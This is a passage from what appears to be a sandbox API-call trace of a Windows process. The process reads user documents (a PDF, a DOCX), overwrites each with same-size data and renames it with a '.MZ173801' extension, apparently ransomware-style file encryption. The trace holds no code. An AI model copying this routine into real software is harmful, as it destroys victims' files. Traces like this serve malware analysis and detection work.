Q2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.964] GetCurrentThreadId () returned 0x9fc [0124.964] GetCurrentThreadId () returned 0x9fc [0124.964] GetCurrentThreadId () returned 0x9fc [0124.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.964] GetCurrentThreadId () returned 0x9fc [0124.964] GetCurrentThreadId () returned 0x9fc [0124.964] GetCurrentThreadId () returned 0x9fc [0124.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\I2Gqc.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\i2gqc.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.965] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.965] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.965] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x7877 [0124.965] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.965] ReadFile (in: hFile=0x298, lpBuffer=0x714510, nNumberOfBytesToRead=0x7877, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x7877, lpOverlapped=0x0) returned 1 [0124.966] CloseHandle (hObject=0x298) returned 1 [0124.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\I2Gqc.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\i2gqc.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.977] WriteFile (in: hFile=0x298, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x7877, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f404*=0x7877, lpOverlapped=0x0) returned 1 [0124.978] CloseHandle (hObject=0x298) returned 1 [0124.978] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\I2Gqc.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\i2gqc.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\I2Gqc.pdf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\i2gqc.pdf.mz173801")) returned 1 [0124.979] GetCurrentThreadId () returned 0x9fc [0124.979] GetCurrentThreadId () returned 0x9fc [0124.979] GetCurrentThreadId () returned 0x9fc [0124.979] GetCurrentThreadId () returned 0x9fc [0124.979] GetCurrentThreadId () returned 0x9fc [0124.979] GetCurrentThreadId () returned 0x9fc [0124.979] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e6620, ftCreationTime.dwHighDateTime=0x1d5da60, ftLastAccessTime.dwLowDateTime=0x1f58cda0, ftLastAccessTime.dwHighDateTime=0x1d5dbfd, ftLastWriteTime.dwLowDateTime=0x1f58cda0, ftLastWriteTime.dwHighDateTime=0x1d5dbfd, nFileSizeHigh=0x0, nFileSizeLow=0xc68d, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="l06dSkIuNpZzb6PM.docx", cAlternateFileName="L06DSK~1.DOC")) returned 1 [0124.979] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.979] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\l06dSkIuNpZzb6PM.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\l06dskiunpzzb6pm.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e6620, ftCreationTime.dwHighDateTime=0x1d5da60, ftLastAccessTime.dwLowDateTime=0x1f58cda0, ftLastAccessTime.dwHighDateTime=0x1d5dbfd, ftLastWriteTime.dwLowDateTime=0x1f58cda0, ftLastWriteTime.dwHighDateTime=0x1d5dbfd, nFileSizeHigh=0x0, nFileSizeLow=0xc68d)) returned 1 [0124.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.982] GetCurrentThreadId () returned 0x9fc [0124.982] GetCurrentThreadId () returned 0x9fc [0124.982] GetCurrentThreadId () returned 0x9fc [0124.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.983] GetCurrentThreadId () returned 0x9fc [0124.983] GetCurrentThreadId () returned 0x9fc [0124.983] GetCurrentThreadId () returned 0x9fc [0124.983] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\l06dSkIuNpZzb6PM.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\l06dskiunpzzb6pm.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.984] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.984] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.984] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xc68d [0124.984] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.984] ReadFile (in: hFile=0x298, lpBuffer=0x714510, nNumberOfBytesToRead=0xc68d, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xc68d, lpOverlapped=0x0) returned 1 [0124.985] CloseHandle (hObject=0x298) returned 1 [0124.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\l06dSkIuNpZzb6PM.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\l06dskiunpzzb6pm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.988] WriteFile (in: hFile=0x298, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc68d, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f404*=0xc68d, lpOverlapped=0x0) returned 1 [0124.990] CloseHandle (hObject=0x298) returned 1 [0124.990] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\l06dSkIuNpZzb6PM.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\l06dskiunpzzb6pm.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\l06dSkIuNpZzb6PM.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\l06dskiunpzzb6pm.docx.mz173801")) returned 1 [0124.991] GetCurrentThreadId () returned 0x9fc [0124.991] GetCurrentThreadId () returned 0x9fc [0124.991] GetCurrentThreadId () returned 0x9fc [0124.991] GetCurrentThreadId () returned 0x9fc [0124.991] GetCurrentThreadId () returned 0x9fc [0124.991] GetCurrentThreadId () returned 0x9fc [0124.991] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb827e8a0, ftCreationTime.dwHighDateTime=0x1d5dbe3, ftLastAccessTime.dwLowDateTime=0xfc398b60, ftLastAccessTime.dwHighDateTime=0x1d5dca2, ftLastWriteTime.dwLowDateTime=0xfc398b60, 